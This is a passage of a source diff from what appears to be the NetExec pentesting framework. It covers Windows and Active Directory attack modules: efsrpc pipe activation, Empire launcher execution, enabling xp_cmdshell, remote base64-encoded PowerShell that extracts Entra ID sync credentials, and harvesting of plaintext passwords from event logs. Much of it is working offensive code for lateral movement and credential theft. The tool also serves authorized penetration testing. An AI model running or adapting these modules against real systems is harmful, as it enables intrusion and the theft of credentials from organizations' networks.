conn: SMBConnection = connection.conn # Because typing is broken due to smb being a folder and a file >:(
try:
shares = conn.listShares()
except SessionError as e:
error = get_error_string(e)
context.log.fail(f"Error enumerating shares: {error}", color="magenta")
return
# Check if named pipe is already available
try:
named_pipe_names = [f.get_shortname() for f in conn.listPath("IPC$", "*")]
if "efsrpc" in named_pipe_names:
context.log.highlight("efsrpc named pipe is already available!")
# if it is already activated we just skip this computer
return
except SessionError as e:
error = get_error_string(e)
context.log.fail(f"Error enumerating named pipes: {error}", color="magenta")
return
# Write an encrypted file on the share root.
# This will likely fail with STATUS_ACCESS_DENIED if we do not have the permission to create encrypted files,
# but this does not matter as the service will be activated nevertheless if we have WRITE or MODIFY access
for share in shares:
share_name = share["shi1_netname"][:-1]
if self.share_name is not None and self.share_name != share_name:
continue
if share_name in self.excluded_shares:
continue
try:
context.log.debug(f"Connecting to share {share_name}...")
tid = conn.connectTree(share_name)
except SessionError as e:
context.log.debug(f"Could not connect to share {share_name}: {e}")
continue
try:
context.log.debug(f"Creating file in {share_name}...")
fid = conn.createFile(tid, self.file_name,
desiredAccess=FILE_SHARE_WRITE,
shareMode=FILE_SHARE_DELETE,
fileAttributes=FILE_ATTRIBUTE_ENCRYPTED)
conn.closeFile(tid, fid)
try:
# this can happen when we have special permissions to create encrypted files
conn.deleteFile(share_name, self.file_name)
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
pass
context.log.fail(f"Error DELETING created temp file {self.file_name} on share {share_name}: {error}")
except SessionError as e:
context.log.debug(f"Error writing encrypted file on share {share_name}: {get_error_string(e)} (This does not necessarily mean that the attack failed!)")
try:
tid = conn.connectTree("IPC$")
conn.waitNamedPipe(tid, "efsrpc", 10)
context.log.highlight("Successfully activated efsrpc named pipe!")
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
context.log.debug("efsrpc pipe was not activated.")
else:
context.log.fail(f"Error waiting for named pipe: {error}", color="magenta")
return
+1 -3
View File
@@ -12,8 +12,6 @@ class NXCModule:
name = "empire_exec"
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
supported_protocols = ["smb", "mssql"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
@@ -33,7 +31,7 @@ class NXCModule:
obfuscate = "OBFUSCATE" in module_options
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
default_obfuscation = "Token,All,1"
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
obfuscate_cmd = module_options.get("OBFUSCATE_CMD", default_obfuscation)
context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
# Pull the host and port from the config file
+74
View File
@@ -0,0 +1,74 @@
class NXCModule:
"""
Enables or disables xp_cmdshell in MSSQL Server.
Module by crosscutsaw
"""
name = "enable_cmdshell"
description = "Enable or disable xp_cmdshell in MSSQL Server"
supported_protocols = ["mssql"]
def __init__(self):
self.mssql_conn = None
self.context = None
self.action = None
self.advanced_options_backup = None # Stores original value of 'show advanced options'
def options(self, context, module_options):
"""
ACTION enable or disable xp_cmdshell
Examples
--------
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=enable
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=disable
"""
if "ACTION" in module_options:
self.action = module_options["ACTION"].lower()
else:
context.log.fail("Missing required option: ACTION (enable/disable)")
exit(1)
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if self.action == "enable":
self.toggle_xp_cmdshell(enable=True)
elif self.action == "disable":
self.toggle_xp_cmdshell(enable=False)
else:
self.context.log.fail("Invalid ACTION. Use 'enable' or 'disable'.")
def backup_show_advanced_options(self):
"""Backs up the current state of 'show advanced options'."""
query = "SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'"
res = self.mssql_conn.sql_query(query)
if res:
self.advanced_options_backup = int(res[0]["value"]) # Convert to integer
def restore_show_advanced_options(self):
"""Restores the original state of 'show advanced options' if needed."""
if self.advanced_options_backup is not None and self.advanced_options_backup == 0:
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '0'; RECONFIGURE;")
def toggle_xp_cmdshell(self, enable: bool):
"""Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
state = "1" if enable else "0"
# Backup 'show advanced options' state
self.backup_show_advanced_options()
# Enable 'show advanced options' if it was disabled
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;")
try:
# Enable or disable xp_cmdshell
self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
action_text = "enabled" if enable else "disabled"
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
except Exception as e:
self.context.log.fail(f"Failed to execute command: {e}")
# Restore 'show advanced options' to its original state if needed
self.restore_show_advanced_options()
+81
View File
@@ -0,0 +1,81 @@
import re
from termcolor import colored
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.config import host_info_colors
class NXCModule:
"""Module by @NeffIsBack"""
name = "entra-id"
description = "Find the Entra ID sync server"
supported_protocols = ["ldap"]
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""No options available."""
def on_login(self, context, connection):
self.context = context
# For every Entra ID syncronization server, there is a corresponding MSOL_ account and likely an ADSyncMSA service account.
msol_parsed = parse_result_attributes(connection.search(
searchFilter="(sAMAccountName=MSOL_*)",
attributes=["sAMAccountName", "cn", "description"],
))
self.context.log.info(f"Found the following MSOL accounts: {msol_parsed}")
adsync_parsed = parse_result_attributes(connection.search(
searchFilter="(sAMAccountName=ADSyncMSA*)",
attributes=["sAMAccountName", "cn", "msDS-HostServiceAccountBL"],
))
self.context.log.info(f"Found the following ADSyncMSA accounts: {adsync_parsed}")
hosts = []
for acc in msol_parsed:
host = re.search(r"computer (?P<host>.*) configured", acc["description"])
if host:
hostname = host.group("host")
# Try to get the dNSHostName for the host, if not use the NetBIOS name from the description
resp = parse_result_attributes(connection.search(f"(sAMAccountName={hostname}$)", ["dNSHostName"]))
ip = connection.resolver(resp[0]["dNSHostName"] if resp else hostname)
hosts.append({
"hostname": hostname,
"ip": ip,
"msol_account": acc["sAMAccountName"],
})
for adsync in adsync_parsed:
# The last 5 chars of the ADSyncMSA account name are the identifier for the corresponding MSOL account
identifier = str(adsync["cn"]).removeprefix("ADSyncMSA")
msol_acc = next((x for x in msol_parsed if str(x["sAMAccountName"]).startswith(f"MSOL_{identifier}")), None)
self.context.log.debug(f"Found ADSyncMSA account: {adsync['sAMAccountName']}, corresponding MSOL account: {msol_acc['sAMAccountName'] if msol_acc else 'None'}")
# Get the computer object for the ADSyncMSA service account
computer = parse_result_attributes(connection.search(
searchFilter=f"(distinguishedName={adsync['msDS-HostServiceAccountBL']})",
attributes=["dNSHostName", "cn", "sAMAccountName"],
))[0]
# If we already found a host with its MSOL account, extend that info, otherwise create a new host entry
host = next((x for x in hosts if x["hostname"] == computer["cn"]), None)
if host and host["ip"]: # Skip if host and IP are already set
self.context.log.debug(f"Host '{host['hostname']}' already exists with IP {host['ip'].get('host')}, skipping update.")
continue
elif host: # If host exists but IP is not set, update it
host["ip"] = connection.resolver(computer["dNSHostName"])
else: # If host does not exist, create a new entry
hosts.append({
"hostname": computer["cn"],
"ip": connection.resolver(computer["dNSHostName"]),
})
if hosts:
self.context.log.success("Found Entra ID sync servers:")
for host in hosts:
self.context.log.highlight(f"{host['hostname']}: {colored(host['ip'].get('host', '<not found>'), host_info_colors[0])}" + colored(f" (MSOL Account: {host.get('msol_account', 'N/A')})", "yellow", attrs=["bold"]))
+49
View File
@@ -0,0 +1,49 @@
from base64 import b64encode
from nxc.helpers.powershell import get_ps_script
class NXCModule:
"""
Example:
-------
Module by @NeffIsBack
"""
name = "entra-sync-creds"
description = "Extract Entra ID sync credentials from the target host"
supported_protocols = ["smb"]
opsec_safe = True
def __init__(self):
self.context = None
self.module_options = None
self.entra_id_psscript = ""
with open(get_ps_script("entra-sync-creds/entra-sync-creds.ps1")) as psFile:
for line in psFile:
if line.startswith("#") or line.strip() == "":
continue
else:
self.entra_id_psscript += line.strip() + "\n"
def options(self, context, module_options):
"""No module options available."""
def on_admin_login(self, context, connection):
self.context = context
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
if "CLIXML" in out:
out = out.split("CLIXML")[1].split("<Objs Version")[0]
for line in out.splitlines():
if not line.strip():
continue
if "[!]" in line:
self.context.log.fail(line.replace("[!]", "").strip())
else:
self.context.log.highlight(line.strip())
+17 -3
View File
@@ -18,8 +18,6 @@ class NXCModule:
name = "enum_av"
description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -289,6 +287,14 @@ conf = {
{"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
]
},
{
"name": "Ivanti Security",
"services": [
{"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
{"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
],
"pipes": []
},
{
"name": "Kaspersky Security for Windows Server",
"services": [
@@ -335,6 +341,11 @@ conf = {
],
"pipes": []
},
{
"name": "Rapid7",
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
"pipes": []
},
{
"name": "Sophos Intercept X",
"services": [
@@ -384,7 +395,10 @@ conf = {
{"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
{"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
{"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"},
{"name": "ds_agent", "description": "Trend Micro Deep Security Agent"},
{"name": "ds_monitor", "description": "Trend Micro Deep Security Monitor"},
{"name": "ds_notifier", "description": "Trend Micro Deep Security Notifier"}
],
"pipes": [
{"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
+2 -4
View File
@@ -24,8 +24,6 @@ class NXCModule:
name = "enum_ca"
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self, context=None, module_options=None):
self.context = context
@@ -61,7 +59,7 @@ class NXCModule:
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.__port)
elif self.__port in [443]:
elif self.__port == 443:
# Setting credentials only for RPC Proxy, but not for the MSRPC level
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.set_auth_type(AUTH_NTLM)
@@ -86,7 +84,7 @@ class NXCModule:
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
context.log.debug("EXEs %s" % exename)
context.log.debug(f"EXEs {exename}")
if exename == "certsrv.exe":
context.log.highlight("Active Directory Certificate Services Found.")
url = f"http://{connection.host}/certsrv/certfnsh.asp"
+4 -5
View File
@@ -1,5 +1,6 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.paths import NXC_PATH
class NXCModule:
@@ -11,8 +12,6 @@ class NXCModule:
name = "enum_dns"
description = "Uses WMI to dump DNS from an AD DNS Server"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -34,7 +33,7 @@ class NXCModule:
else:
domains = [self.domains]
data = ""
for domain in domains:
output = connection.wmi(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
@@ -50,7 +49,7 @@ class NXCModule:
rname = text.split(" ")[0]
rtype = text.split(" ")[2]
rvalue = " ".join(text.split(" ")[3:])
if domain_data.get(rtype, False):
if domain_data.get(rtype):
domain_data[rtype].append(f"{rname}: {rvalue}")
else:
domain_data[rtype] = [f"{rname}: {rvalue}"]
@@ -64,4 +63,4 @@ class NXCModule:
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(data, log_name)
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+1 -2
View File
@@ -7,8 +7,6 @@ class NXCModule:
name = "enum_impersonate"
description = "Enumerate users with impersonation privileges"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
@@ -42,5 +40,6 @@ class NXCModule:
"""
res = self.mssql_conn.sql_query(query)
return [user["name"] for user in res] if res else []
def options(self, context, module_options):
pass
+12 -14
View File
@@ -7,8 +7,6 @@ class NXCModule:
name = "enum_links"
description = "Enumerate linked SQL Servers and their login configurations."
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
@@ -27,18 +25,18 @@ class NXCModule:
self.context.log.display(f" - {server}")
else:
self.context.log.fail("No linked servers found.")
def on_admin_login(self, context, connection):
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
if not srvs:
self.context.log.fail("No linked servers found.")
return
self.context.log.success("Linked servers found:")
for srv in srvs:
self.context.log.display(f"Linked server: {srv['Linked Server']}")
self.context.log.display(f" - Local login: {srv['Local Login']}")
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
if connection.admin_privs:
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
if not srvs:
self.context.log.fail("No linked servers found.")
return
self.context.log.success("Linked servers found:")
for srv in srvs:
self.context.log.display(f"Linked server: {srv['Linked Server']}")
self.context.log.display(f" - Local login: {srv['Local Login']}")
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
def get_linked_servers(self) -> list:
"""
+60 -17
View File
@@ -1,14 +1,12 @@
class NXCModule:
"""
Enumerate SQL Server logins
Module by deathflamingo
Enumerate SQL Server logins (SQL, Domain, Local users)
Module by deathflamingo, modified by mpgn
"""
name = "enum_logins"
description = "Enumerate SQL Server logins"
description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
@@ -17,24 +15,69 @@ class NXCModule:
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
logins = self.get_logins()
if logins:
self.context.log.success("Logins found:")
for login in logins:
self.context.log.display(f" - {login}")
self.context.log.display("Enumerated logins")
self.context.log.highlight(f"{'Login Name':<35} {'Type':<15} {'Status'}")
self.context.log.highlight(f"{'----------':<35} {'----':<15} {'------'}")
for login_name, login_type, status in logins:
self.context.log.highlight(f"{login_name:<35} {login_type:<15} {status}")
else:
self.context.log.fail("No logins found.")
def get_logins(self) -> list:
"""
Fetches a list of SQL Server logins.
def get_domain_name(self) -> str:
query = "SELECT DEFAULT_DOMAIN() as domain_name;"
try:
res = self.mssql_conn.sql_query(query)
if res and res[0].get("domain_name"):
return res[0]["domain_name"].upper()
return ""
except Exception as e:
self.context.log.debug(f"Error querying domain name: {e}")
return ""
Returns
-------
list: List of login names.
def get_logins(self) -> list:
domain_name = self.get_domain_name()
domain_prefix = f"{domain_name}\\" if domain_name else ""
query = f"""
SELECT
name,
type,
type_desc,
CASE type_desc
WHEN 'SQL_LOGIN' THEN 'SQL User'
WHEN 'WINDOWS_LOGIN' THEN
CASE
WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
WHEN name LIKE '%\\%' THEN 'Local User'
ELSE 'Local User'
END
WHEN 'WINDOWS_GROUP' THEN 'Windows Group'
WHEN 'CERTIFICATE_MAPPED_LOGIN' THEN 'Certificate Login'
WHEN 'ASYMMETRIC_KEY_MAPPED_LOGIN' THEN 'Asymmetric Key Login'
ELSE type_desc
END as login_type,
is_disabled,
create_date
FROM sys.server_principals
WHERE type IN ('S', 'U', 'G', 'C', 'K')
AND name NOT LIKE '##%'
ORDER BY login_type, name;
"""
query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';"
res = self.mssql_conn.sql_query(query)
return [login["name"] for login in res] if res else []
try:
res = self.mssql_conn.sql_query(query)
if res:
logins = []
for login in res:
status = "DISABLED" if login.get("is_disabled") else "ENABLED"
logins.append((login["name"], login["login_type"], status))
return logins
return []
except Exception as e:
self.context.log.fail(f"Error querying logins: {e}")
return []
def options(self, context, module_options):
pass
+2 -71
View File
@@ -1,4 +1,3 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
class NXCModule:
@@ -8,79 +7,11 @@ class NXCModule:
"""
name = "enum_trusts"
description = "Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
pass
def on_login(self, context, connection):
search_filter = "(&(objectClass=trustedDomain))"
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
trusts = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
flat_name = ""
trust_partner = ""
trust_direction = ""
trust_transitive = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "flatName":
flat_name = str(attribute["vals"][0])
elif str(attribute["type"]) == "trustPartner":
trust_partner = str(attribute["vals"][0])
elif str(attribute["type"]) == "trustDirection":
if str(attribute["vals"][0]) == "1":
trust_direction = "Inbound"
elif str(attribute["vals"][0]) == "2":
trust_direction = "Outbound"
elif str(attribute["vals"][0]) == "3":
trust_direction = "Bidirectional"
elif str(attribute["type"]) == "trustAttributes":
trust_attributes_value = int(attribute["vals"][0])
if trust_attributes_value & 0x1:
trust_transitive.append("Non-Transitive")
if trust_attributes_value & 0x2:
trust_transitive.append("Uplevel-Only")
if trust_attributes_value & 0x4:
trust_transitive.append("Quarantined Domain")
if trust_attributes_value & 0x8:
trust_transitive.append("Forest Transitive")
if trust_attributes_value & 0x10:
trust_transitive.append("Cross Organization")
if trust_attributes_value & 0x20:
trust_transitive.append("Within Forest")
if trust_attributes_value & 0x40:
trust_transitive.append("Treat as External")
if trust_attributes_value & 0x80:
trust_transitive.append("Uses RC4 Encryption")
if trust_attributes_value & 0x100:
trust_transitive.append("Cross Organization No TGT Delegation")
if trust_attributes_value & 0x2000:
trust_transitive.append("PAM Trust")
if not trust_transitive:
trust_transitive.append("Other")
trust_transitive = ", ".join(trust_transitive)
if flat_name and trust_partner and trust_direction and trust_transitive:
trusts.append((flat_name, trust_partner, trust_direction, trust_transitive))
except Exception as e:
context.log.debug(f"Cannot process trust relationship due to error {e}")
if trusts:
context.log.success("Found the following trust relationships:")
for trust in trusts:
context.log.highlight(f"{trust[1]} -> {trust[2]} -> {trust[3]}")
else:
context.log.display("No trust relationships found")
return True
context.log.fail("[REMOVED] This module moved to the --dc-list LDAP flag.")
+222
View File
@@ -0,0 +1,222 @@
import re
from impacket.dcerpc.v5 import transport, even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.epm import hept_map
from nxc.helpers.even6_parser import ResultSet
class NXCModule:
"""
Module by @lodos2005
This module extracts credentials from Windows logs. It uses Security Event ID: 4688 and SYSMON logs.
"""
name = "eventlog_creds"
description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
def __init__(self):
self.context = None
self.module_options = None
self.method = "execute"
self.limit = None
def options(self, context, module_options):
"""
METHOD EventLog method (Execute or RPCCALL), default: execute
M Alias for METHOD
LIMIT Limit of the number of records to be fetched, default: unlimited
L Alias for LIMIT
"""
if "METHOD" in module_options:
self.method = module_options["METHOD"]
if "M" in module_options:
self.method = module_options["M"]
if "LIMIT" in module_options:
self.limit = int(module_options["LIMIT"])
if "L" in module_options:
self.limit = int(module_options["L"])
def find_credentials(self, content, context):
# remove unnecessary words
content = content.replace("\r\n", "\n")
# sort and unique lines
content = "\n".join(sorted(set(content.split("\n"))))
regexps = [
# "C:\Windows\system32\net.exe" user /add lodos2005 123456 /domain
r"net.+user\s+(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
# "C:\Windows\system32\net.exe" use \\server\share /user:contoso\lodos2005 password
r"net.+use.+/user:(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
# schtasks.exe /CREATE /S 192.168.20.05 /RU SYSTEM /U lodos2005@contoso /P "123456" /SC ONCE /ST 20:05 /TN Test /TR hostname /F
r"schtasks.+/U\s+(?P<username>[^\s]+).+/P\s+(?P<password>[^\s]+)",
# wmic.exe /node:192.168.20.05 /user:lodos2005@contoso /password:123456 computersystem get
r"wmic.+/user:\s*(?P<username>[^\s]+).+/password:\s*(?P<password>[^\s]+)",
# psexec \\192.168.20.05 -u lodos2005@contoso -p 123456 hostname
r"psexec.+-u\s+(?P<username>[^\s]+).+-p\s+(?P<password>[^\s]+)",
# generic username on command line
r"(?:(?:(?:-u)|(?:-user)|(?:-username)|(?:--user)|(?:--username)|(?:/u)|(?:/USER)|(?:/USERNAME))(?:\s+|\:)(?P<username>[^\s]+))",
# generic password on command line
r"(?:(?:(?:-p)|(?:-password)|(?:-passwd)|(?:--password)|(?:--passwd)|(?:/P)|(?:/PASSWD)|(?:/PASS)|(?:/CODE)|(?:/PASSWORD))(?:\s+|\:)(?P<password>[^\s]+))",
]
# Extracting credentials
for line in content.split("\n"):
for reg in regexps:
# Remove unnecessary words
line_stripped = line.replace("/add", "") \
.replace("/active:yes", "") \
.replace("/delete", "") \
.replace("/domain", "") \
# Remove command lines that were executed with nxc
line_stripped = re.sub(r"1> \\Windows\\Temp\\[\w]{6} 2>&1", "", line_stripped)
# Use regex to find credentials
match = re.search(reg, line_stripped, re.IGNORECASE)
if match:
# eleminate false positives
# C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay
if not match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6:
# if password is found but username is not found, and password is shorter than 6 characters, ignore it
continue
if not match.groupdict().get("password") and match.groupdict().get("username"):
# if username is found but password is not found. we need? ignore it
continue
# C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
if match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6 and len(match.group("username")) < 6:
# if username and password is shorter than 6 characters, ignore it
continue
context.log.highlight("Credentials found! " + line.strip())
if match.groupdict().get("username"):
context.log.highlight("Username: " + match.group("username"))
if match.groupdict().get("password"):
context.log.highlight("Password: " + match.group("password"))
break
def on_admin_login(self, context, connection):
content = ""
if self.method.lower().startswith("e"):
limit_str = f"/c:{self.limit}" if self.limit is not None else ""
# https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688
commands = [
f'wevtutil qe Microsoft-Windows-Sysmon/Operational {limit_str} /f:text /rd:true /q:"*[System[(EventID=1)]]" | findstr "ParentCommandLine"',
f'wevtutil qe Security {limit_str} /f:text /rd:true /q:"*[System[(EventID=4688)]]" | findstr "Command Line"',
]
for command in commands:
context.log.debug("Execute Command: " + command)
content += connection.execute(command, True)
else:
msevenclass = MSEven6Trigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe="eventlog"
)
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
if record is None:
continue
try:
xmlString = ResultSet(record).xml()
regexp = r'CommandLine">(?P<CommandLine>(.|\n)*?)<\/Data>'
match = re.search(regexp, xmlString, re.IGNORECASE)
if match and match.groupdict().get("CommandLine"):
content += "CommandLine: " + match.group("CommandLine") + "\n"
except Exception as e:
context.log.error(f"Error: {e}")
self.find_credentials(content, context)
class MSEven6Trigger:
def __init__(self, context):
self.context = context
self.dce = None
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
rpctransport.setRemoteHost(target)
self.dce = rpctransport.get_dce_rpc()
if doKerberos:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
self.context.log.debug(f"Connecting to {target}...")
try:
self.dce.connect()
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
try:
self.dce.bind(even6.MSRPC_UUID_EVEN6)
self.context.log.debug("[+] Successfully bound!")
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
self.context.log.debug("[+] Successfully bound!")
def query(self, path, query, limit):
req = even6.EvtRpcRegisterLogQuery()
req["Path"] = path + "\x00"
req["Query"] = query + "\x00"
req["Flags"] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest
resp = self.dce.request(req)
handle = resp["Handle"]
return MSEven6Result(self, handle, limit)
class MSEven6Result:
def __init__(self, conn, handle, limit=None):
self._conn = conn
self._handle = handle
self._hardlimit = limit
def __iter__(self):
self._resp = None
return self
def __next__(self):
if self._hardlimit is not None:
self._hardlimit -= 1
if self._hardlimit < 0:
raise StopIteration
if self._resp is not None and self._resp["NumActualRecords"] == 0:
raise StopIteration
if self._resp is None or self._index == self._resp["NumActualRecords"]:
req = even6.EvtRpcQueryNext()
req["LogQuery"] = self._handle
req["NumRequestedRecords"] = 100
req["TimeOutEnd"] = 1000
req["Flags"] = 0
self._resp = self._conn.dce.request(req)
if self._resp["NumActualRecords"] == 0:
return None
else:
self._index = 0
offset = self._resp["EventDataIndices"][self._index]["Data"]
size = self._resp["EventDataSizes"][self._index]["Data"]
self._index += 1
return b"".join(self._resp["ResultBuffer"][offset:offset + size])
-17
View File
@@ -9,8 +9,6 @@ class NXCModule:
name = "example module"
description = "I do something"
supported_protocols = [] # Example: ['smb', 'mssql']
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self):
self.context = None
@@ -48,18 +46,3 @@ class NXCModule:
Required if on_login is not present
This gets called on each authenticated connection with Administrative privileges
"""
def on_request(self, context, request):
"""Optional.
If the payload needs to retrieve additional files, add this function to the module
"""
def on_response(self, context, response):
"""Optional.
If the payload sends back its output to our server, add this function to the module to handle its output
"""
def on_shutdown(self, context, connection):
"""Optional.
Do something on shutdown
"""
-2
View File
@@ -7,8 +7,6 @@ class NXCModule:
name = "exec_on_link"
description = "Execute commands on a SQL Server linked server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False
def __init__(self):
self.mssql_conn = None
+12 -14
View File
@@ -1,4 +1,3 @@
import socket
from nxc.logger import nxc_logger
from impacket.ldap.ldap import LDAPSearchError
from impacket.ldap.ldapasn1 import SearchResultEntry
@@ -16,15 +15,14 @@ class NXCModule:
name = "find-computer"
description = "Finds computers in the domain via the provided text"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
"""
find-computer: Specify find-computer to call the module
TEXT: Specify the TEXT option to enter your text to search for
Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
TEXT Search TEXT in the operating system or name of the computer.
Examples:
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
"""
self.TEXT = ""
@@ -35,7 +33,7 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
search_filter = f"(&(objectCategory=computer)(&(|(operatingSystem=*{self.TEXT}*))(name=*{self.TEXT}*)))"
search_filter = f"(&(objectCategory=computer)(|(operatingSystem=*{self.TEXT}*)(name=*{self.TEXT}*)))"
try:
context.log.debug(f"Search Filter={search_filter}")
@@ -69,12 +67,12 @@ class NXCModule:
if len(answers) > 0:
context.log.success("Found the following computers: ")
for answer in answers:
try:
ip = socket.gethostbyname(answer[0])
context.log.highlight(f"{answer[0]} ({answer[1]}) ({ip})")
context.log.debug("IP found")
except socket.gaierror:
context.log.debug("Missing IP")
